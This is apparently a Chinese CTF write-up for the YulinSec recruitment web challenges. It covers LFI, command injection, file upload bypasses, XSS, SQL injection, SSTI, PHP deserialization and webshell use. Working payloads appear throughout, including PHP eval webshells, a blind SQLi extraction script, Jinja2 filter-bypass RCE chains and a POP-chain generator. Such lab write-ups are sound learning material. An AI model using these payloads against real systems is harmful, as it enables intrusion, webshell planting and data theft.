第1次写wp好激动
Basic
encode
读题发现4行字符大概率是不同的编码方式
找到相应方式后直接用在线解码
第二行的%表示这是Unicode
Sec{we_mu5t_kn0w
第三行是base64
_c0mm0n
第四行通过搜索发现是html entities
_enc0d1ngs}
虽然没有解码出第一行,但我们可以猜出是Yulin
Calc-1
第二题的网页让你计算6*11,但却只让你输入一个符号。
我们查看源代码,发现
<input type="text" name="result" maxlength="1">
这一方代码限制了我们的输入
按F12打开开发人员工具,在元素中找到这行代码,将数字修改为2,然后就可以提交了。
Calc-2
经过观察源代码,在这道题中,使用了onsubmit来判断是否提交
本想直接修改,但无法加载到浏览器中
经过学习,使用源代码中的覆盖功能可以将本地代码加载到浏览器中
将判断函数的返回这修改为true即可。
还要把id改成name。但我不知道为什么
补充一下,提交666之前,要关闭覆写模式,不然会把flag覆盖了(
Calc-3
题目要求我们在2s内提交答案。
本来想的是写一个爬虫。
但是在提取到题目的数字,然后用post提交答案的时候,服务器重新给出了题目。
想了很久,最后在抓包网页提交时,发现有一个headers里有一个Set-Cookie。
在post请求的headers里加入了Cookie之后,果然拿到了flag。
Http
题目提了4个要求,get方法传入参数key1
post方法传入key2
在headers里设置referer为127.0.0.1
和Cookie为admin=1
在对headers和python脚本有了基础了解了之后
实现以上要求并不困难
302
用python脚本拦截重定向比较简单,直接在requests函数里设置allow_redirects=false就行
Method
题目提示http的method,经过查找,有9种方法
但我不知道用哪个,于是我用options请求,结果直接在返回的headers里找到了flag
我猜应该是使用任何get和post以外的请求方式都可以获得flag
Https
这道题我用的比前面所有加起来的时间还多
在无意义的翻查证书之后,我选择向管理求助(
在提示下,我把token前半段丢进搜索引擎,终于发现这是jwt的token
经过学习,我先尝试了None攻击,但没有
所以我不得不爆破密码,在和python脚本斗智斗勇4小时后
结果发现密码是admin
flag还嘲讽我这么简单的密钥都没想到
{"alg":"HS256","typ":"JWT"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{"admin":"1","iat":1727262496,"exp":1727279696,"jti":"91e37f014491bb56d90c3826e30ba661"}
eyJhZG1pbiI6IjEiLCJpYXQiOjE3MjcyNjI0OTYsImV4cCI6MTcyNzI3OTY5NiwianRpIjoiOTFlMzdmMDE0NDkxYmI1NmQ5MGMzODI2ZTMwYmE2NjEifQoK
Local File Inclusion
LFI-1
在网址后加上/?file=flag.php即可。
加上/flag.php会出现never gona give you up
LFI-2
根据提示,flag在当前目录的某个文件中。
经过学习和测试,该题可以使用php://input包含上传的文件。
但是如果使用默认的post上传,经过url编码
<?php system('ls');?>
会变成%3C%3F…
经过反复查找,发现post除了默认的键值对形式,还有文件形式和文本模式
在headers中添加了”Content-Type”:”text/plain”之后,成功获得了目录
经过观察发现这个文件flag_754297461.txt。
直接?file=flag_754297461.txt获得flag。
LFI-3
第三题php://input被ban了
但是找到一个类似的
?file=data://text/plain,<?php system('ls');?>
又找到了。
LFI-4
这道题flag不再是txt了,而是php文件,为了看到源码
我们要用php://filter/read=convert.base64-encode/resource=
这个伪协议可以先对源代码加密,然后再包含
这样我们只要用base64解码就可以得到flag了
LFI-5
这次题目没有include file,而是比较file的内容是不是’I want flag’
直接使用?file=data://text/plain,I want flag即可
LFI-6
这道题在包含文件时,没有后缀。再结合phpinfo.php无法包含,phpinfo可以包含
说明在包含前,会在路径后面加上.php。
虽然我们不能上传php,但我们可以把php压缩到zip文件
然后用phar://访问
但是在找到flag文件flag_381526347.txt后
我发现flag是.txt结尾,所以还要上传一个
<?php
include('flag_381526347.txt');
?>
好麻烦,这就去学一句话木马
LFI-7
通过观察源码,发现如下语句
session_start();
$a=$_GET['a'];
$_SESSION["username"]=$a;
session函数会生成session文件在默认的路径下
这时,我们只要配置cookie如PHPSESSID=abc123
然后通过get方法设置a的值为
代码就会被写入sess文件
再包含sess_abc123文件,就可以得到当前目录下的文件了
最后直接包含找到的flag文件就可以了。
RCE
RCE-0
首先在127.0.0.1后面用|拼接ls命令
发现当前目录下没有flag
使用pwd显示当前的绝对路径
/var/www/html
使用ls /var/www/*递归查询该目录下所有文件
发现还是没有flag
直接查根目录显示不完所以|grep -r YulinSec /var查找
最后发现在|ls /根目录里(
然后使用cat /flag输出
RCE-1
这道题管道符连接符都被禁用了
于是考虑回车,但在浏览器里不好操作
可以通过python脚本实现
import requests
url="http://prob00-xxx.recruit.yulinsec.cn"
data1={
"ip":"127.0.0.0\nls"
}
resp=requests.post(url,data=data1)
print(resp.text)
在脚本中可以写\n
实现了命令拼接
RCE-2
发现cat被ban了
先用find *确定flag在当前当前目录的flag.php
无法直接访问
经过测试cp命令没有被ban
于是cp flag.php flag.txt
然后在url里直接访问(
RCE-3
在经过了漫长的webshell木马写入尝试后
发现sort没有被禁用
所以
127.0.0.1|cd ..;cd ..;cd ..;cd ..;sort flag
所以为什么提示是webshell?
RCE_4
由于没有回显,所以我想生成一个一句话木马。
但是echo被ban了
然后发现有printf命令,而且没有ban
printf "%s" "<?php @eval(\$_POST[1]);?>" >shell.php
所以成功了
用蚁剑连接后,在根目录找到了flag
File Upload
Upload-1
查看源代码,发现是前端判断文件类型
先上传写一个一句话木马,然后改成1.jpg
上传用burp suite拦截,然后把文件名改成1.php
成功之后用蚁剑连接,在根目录找到flag
Upload-2
.htaccess文件只对当前目录生效,修改后,立即生效
在文件中写入以下内容
AddType application/x-httpd-php .jpg .txt
这样服务器会把.jpg和.txt文件也当成php来解析
我们直接上传.jpg木马
Upload-3
用burp suite抓包,把content-type 改成image/jpeg就可以了
Upload-4
用二进制编辑软件在木马前加入FF D8 FF E0 00 10 4A(判断的还挺长)
当然还要注意content-type
Upload-5
通过阅读代码,会将所有黑名单里的字符删掉
所以我们可以用任意一个黑名单里的字符把php分隔开
如1.pphphp
Upload-6
根据提示查看资料得知,windows会自动把后缀转为小写
于是抓包,改成大写
Upload-7
首先抓包,然后在保存路径后加上/111.php
但是代码会在路径后面拼接一个/XXX.jpg这会导致保存失败
这时我们在111.php后面加上%00
虽然还是会拼接/XXX.jpg
但是在读取保存路径时,由于是c语言编写的,字符串中遇到%00会停止读取
最后就保存到111.php中了
Upload-8
这道题和上道题差不多,只不过保存路径是通过post获取的
所以我们只要修改路径为111.php,不过不能写%00,而是要通过hex替换成00
Upload-9
这道题直接没有过滤php3,php5等后缀,所以随便改一个上传就行
Upload-10
根据题目提示,我们先写一个大马如
然后我们上传后,立刻访问它
这是因为,服务器会先把文件保存到upload中然后再判断是否删除。
我们趁着这个机会访问
但是因为判断速度很快,所以我们要用burp suite反复上传,同时一直访问该文件
之后会生成小马,这时我们用蚁剑连接、
Upload-11
这道题是关于二次渲染的,只需要按照提示来
先选择一个gif图片,然后上传,下载渲染之后的文件
用二进制编辑文件比较异同,将木马插入到相同的片段中
再上传,就会被保留
接着注意到提示是用包含实现的,于是通过包含上传的图片实现shell连接
Upload-12
move_uploaded_file()
根据提示,该函数存在漏洞
经过查询,它会忽略/
因此,我们构造文件名1.php/.
成功绕过
Upload-13
首先我们阅读代码
代码第一步先判断MIME
然后判断save_name是否为空
如果不为空,将save_name的值赋给file
否则用原本的filename
接着检查file是不是数组,这一点很奇怪,因为正常是不会有数组的
如果不是数组,那么按’.’分割为数组
接着检查数组的最后一位是否在白名单
然后将数组的第一位和最后一位拼接作为保存路径
最后把文件移动到保存路径
经过阅读,我们发现判断后缀和拼接后缀时的实现逻辑不一样
第一个是end($file),第二个是$file[count($file) – 1]
结合上面判断是否是数组,这就产生了漏洞
如果一个数组只有第一位和最后一位有值,而其他都是null
那么end($file)会返回最后一位,而count($file)却会认为只有两项于是返回2
因此$file[count($file) – 1]会返回第二项,也就是$file[1]的值
这就给了我我们设计的空间,我们设计一个如下数组
$file[0]=1
$file[0]=null
$file[2]=php
$file[3]=jpg
这时,因为最后一项是jpg,可以通过检查
但count却只计算到3项,于是代码会将1和php通过’.’拼接产生漏洞
接下来抓包修改就行了
XSS
XSS-1
首先查看网页源代码,发现隐藏内容find the “name”
尝试get方法请求name=name
发现name添加到了欢迎用户后面,于是尝试添加js
<script>alert(1)</script>
成功弹出弹窗
XSS-2
经过观察,有两个地方有payload
第一个在h2,而且<会被转义
所以我们考虑第二个input value里的
我们构造’使value提前闭合然后再写onclick属性
payload如下
‘ onclick=’alert(1)’
XSS-3
本题和上一题唯一的区别是单引号变成双引号(可能还有value里的尖括号被删了,但我没有用)
” onclick=’alert(1)’+”
XSS-4
这道题会把on替换成o_n,script替换成sc_ript
所以我换成如下payload
"> <a href="javascript:alert(1)">link</a>
XSS-5
这道题会把on,script,href等删除
所以双写绕过
"><scronipt>alert(1)</scronipt>
XSS-6
第六题是添加链接
但是会插入空格
所以我把s编码了
javascript:alert(1)
XSS-7
这道题没有输入框
通过源代码发现有三个隐藏input,经过测试t_sort会将payload插入
但是这个输入时隐藏的,所以考虑改type绕过
"+type%3Dimage+src+onerror%3D%27alert%281%29%27
" type=image src onerror='alert(1)'
SQL Injection
SQLi-1
首先判断列数,然后判断显示哪些列
接着找到库名,表名,列名
最后查询数据
限制输出个数可以用group_concat,也可以用limit i,1来访问第i个数据
?id=-1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select null,database(),null
?id=-1 union select null,table_name,null from information_schema.tables where table_schema='' limit 0,1 -- q
or ?id=-1 union select null,group_concat(table_name),null from information_schema.tables where table_schema=''
?id=-1 union select null,column_name,null from information_schema.columns where table_schema='' and table_name='' limit 0,1 -- q
or ?id=-1 union select null,group_concat(column_name),null from information_schema.columns where table_schema='' and table_name=''
?id=-1 union select null,flag,null from flag
SQLi-2
利用xml修改语句的报错,显示查询内容
由于报错显示长度有限,用limit会更好
?id=-1 and updatexml(1,concat(0x7e,(),0x7e),1)
database()
select table_name from information_schema.tables where table_schema='' limit i,1
select column_name from information_schema.columns where table_schema='' and table_name='' limit i,1
select substring(flag,15,40) from security.flag
但是flag太长了,所要用SELECT SUBSTRING
SQLi-3
利用and xx>xx返回的信息,二分判断每一位,脚本如下
import requests
import re
database="security"
table_name="flag"
checktable="select table_name from information_schema.tables where table_schema='"+database+"' limit 3,1"
checkculumn="select column_name from information_schema.columns where table_schema='"+database+"' and table_name='"+table_name+"' limit 1,1"
getflag="select flag from "+table_name
bit=1<<7
length=0
while bit:
payload ="?id=1 and (length(("+getflag+")))>"+str((length|bit)-1)
url="http://prob00-012.recruit.yulinsec.cn/"+payload
resp=requests.get(url)
if re.search("OK",resp.text):
length|=bit
bit>>=1
print(bit)
print(length)
ans=""
for i in range(length):
bit=1<<7
ansbit=0
print(i+1,end=":",flush=True)
while bit:
payload ="?id=1 and ascii(substr(("+getflag+"),"+str(i+1)+","+str(i+1)+"))>"+str((ansbit|bit)-1)
url="http://prob00-012.recruit.yulinsec.cn/"+payload
resp=requests.get(url)
if re.search("OK",resp.text):
ansbit|=bit
bit>>=1
print(bit,end=" ",flush=True)
ans+=chr(ansbit)
print(chr(ansbit))
print(ans)
SQLi-4
延时盲注和上一道题区别不大,只需要改一下判断语句
if(ascii(...)>xx,sleep(1),1)
resp=requests.get(url)
if re.search("OK",resp.text):
ansbit|=bit
--->
start_time=time.time()
resp=requests.get(url)
resp_time=time.time()-start_time
if(resp_time>1.5):
ansbit=63 #'?'
break
if resp_time>0.5:
ansbit|=bit
不过由于网络波动,有时会出现误判(大概50个字符会错3个),因此对该位置问号,多跑几遍
SQLi-5
过滤了空格和union,select等关键词
用/**/绕过空格,用大写绕过关键词
但是发现没有响应
在id=1后加”后,得到报错
“)) LIMIT 0,1
考虑提前闭合,但由于空格过滤,后面没法注释,于是后面也构造闭合
?id=-1"))Union/**/Select/**/1,(Select/**/flag/**/from/**/security.flag),3||(("1
SQLi-6
使用into outfile语句将一句话木马写入文件,可以将木马转成16进制
?id=-1 union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile '/app/public/shell-394.php'
SQLi-7
第七题让用post提交,用了和第一题一样的payload,直接返回了flag(这真的是预期解吗?
SQLi-8
这道题在”前加上%df%5c
%5c是\被认为是转义字符,但%df%5c在GBK编码下被认为是汉字,所以引号被留在外面
SSTI
SSTI-1
根据教程,先从[],()等出发,用__base__或者__mor__方法获取父类直到object
然后查询object的子类,主要是os模块
但是该题的popen没有加载,所以用[‘__builtins__’]的eval加载os模块然后再调用popen执行命令
SSTI-2
将{{}}换成{%%},{%%}里装的是控制语句(如循环,条件,也可以是赋值)我们可以用print()把原来的payload包起来达到和之前一样的效果
SSTI-3
该题过滤了[],所以用__getitem__()绕过
SSTI-4
应对下划线过滤,用[request.args.class]替代所有有下划线的,并将它们放到get参数里
SSTI-5
引号被过滤,用[request.form.popen]替代所有有下划线的,并将它们放到post参数里
SSTI-6
使用jinja2原生函数|attr(“”)代替点
SSTI-7
该题过滤了关键词,要绕过首先用[]将魔术方法转换为字符串,然后用+分割后连接如
{{[]['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()[127]['__in'+'it__']['__glob'+'als__']['po'+'pen']('cat /flag').read()}}
SSTI-8&9
因为这两道题主要过滤的都是点’.’下划线’_’单双引号’\”,'”‘中括号'[‘,’]’
只要这两个能够绕过,其他的可以顺便一起绕过了
所以我用同一个payload过了这两道题
首先,由于没有单双引号,我们用dict方法获得字符串
然后用length或者count获得数字
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set ten=dict(aaaaaaaaaa=a)|join|count%}
接着我们用-和*获得所有需要的数字
{%set twentyseven=three*three*three%}
{%set fortyseven=seven*seven-two%}
{%set onehundredandtwentyseven=ten*two*seven-ten-three%}
为了绕过下划线,同时由于dict里不能有空格,所以我们用{}|select()|string中的字符获取到空格和下划线(由于现在还没有获取到下划线,所以不能用getitem,只能用pop)
{%set pop=dict(pop=a)|join%}
{%set xhx=({}|select()|string|list)|attr(pop)(twentyseven)%}
{%set kg=({}|select()|string|list)|attr(pop)(ten)%}
然后继续用dict获取所有需要的字符串(顺便把class和init绕过了)
{%set cla=(xhx,xhx,dict(cla=a,ss=a)|join,xhx,xhx)|join%}
{%set base=(xhx,xhx,dict(base=a)|join,xhx,xhx)|join%}
{%set subcla=(xhx,xhx,dict(subcla=a,sses=a)|join,xhx,xhx)|join%}
{%set ini=(xhx,xhx,dict(in=a,it=a)|join,xhx,xhx)|join%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set builtins=(xhx,xhx,dict(builtins=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set read=dict(read=a)|join%}
{%set chr=dict(chr=a)|join%}
同样由于dict里不能有’/’所以我们要用chr来获取,先获取chr,主要用attr代替点,attr加getitem代替中括号(这时我们已经获取了下划线,所以可以用)
{%set chr=()|attr(cla)|attr(base)|attr(subcla)()|attr(getitem)(onehundredandtwentyseven)|attr(ini)|attr(globals)|attr(getitem)(builtins)|attr(getitem)(chr)%}
现在可以拼接命’cat /flag’命令了(chr(47)=’/’)
{%set cmd=(dict(cat=a)|join,kg,chr(fortyseven),dict(flag=a)|join)|join%}
最后,利用以上的各种字符串,和attr拼接最后的payload
{{()|attr(cla)|attr(base)|attr(subcla)()|attr(getitem)(onehundredandtwentyseven)|attr(ini)|attr(globals)|attr(getitem)(popen)(cmd)|attr(read)()}}
Babyunserialize
🌈🥚
🌈🥚
(经过数小时的学习)可以看出,这算是一道基础的pop链构造
观察源代码,先从反向,要调用system,需将YULIN的实例当成函数调用
而只有C类的want()是函数调用,所以要把YULIN的实例赋值给C类的manba属性
接着从正向,反序列化只会调用F类中的__destruct,当然还有YULIN的wakeup,所以一会儿还得绕过
之后,我们发现有一个string的类型转化,如果我们将T赋值给F的user,就会执行tostring
而执行c的get的条件是调用不存在的属性,这里刚好满足
以下是生成poc的代码
注意,生成了之后,编码之前,要把yulin后面的成员数量改成2,这样可以绕过wakeup
<?php
class C
{
public $manba;
}
class YULIN
{
public $cmd="cat flag.php";
}
class T
{
public $sth;
}
class F
{
public $user;
}
$yulin=new YULIN();
$f=new F();
$t=new T();
$c=new C();
$c->manba=$yulin;
$t->sth=$c;
$f->user=$t;
echo serialize($f);
echo "<br>";
echo base64_encode(serialize($f));
?>
这分别是ls和cat flag.php的payload
TzoxOiJGIjoxOntzOjQ6InVzZXIiO086MToiVCI6MTp7czozOiJzdGgiO086MToiQyI6MTp7czo1OiJtYW5iYSI7Tzo1OiJZVUxJTiI6Mjp7czozOiJjbWQiO3M6MjoibHMiO319fX0=
TzoxOiJGIjoxOntzOjQ6InVzZXIiO086MToiVCI6MTp7czozOiJzdGgiO086MToiQyI6MTp7czo1OiJtYW5iYSI7Tzo1OiJZVUxJTiI6Mjp7czozOiJjbWQiO3M6MTI6ImNhdCBmbGFnLnBocCI7fX19fQ==
Backdo0r
flag1
打开蚁剑,输入url后面跟index.php
输入密码yulin,连接即可
flag2
将eval($_POST[a]);进行base64编码,然后在http body中添加name:yulin,value:ZXZhbCgkX1BPU1RbYV0pOw==
同时将连接密码改成a,这样就会执行eval($_POST[a]);然后读取a的命令
flag3
直接使用虚拟终端,发现无法执行,经过查看,disable了很多函数
所以下载一个插件,绕过disable_function,还可以绕过open_basedir
直接cd到根目录,然后执行./getflag
骑士之梦
在js文件夹中找到player.js
搜索score,找到了addscore函数,然后把倍率改成1000(
过了(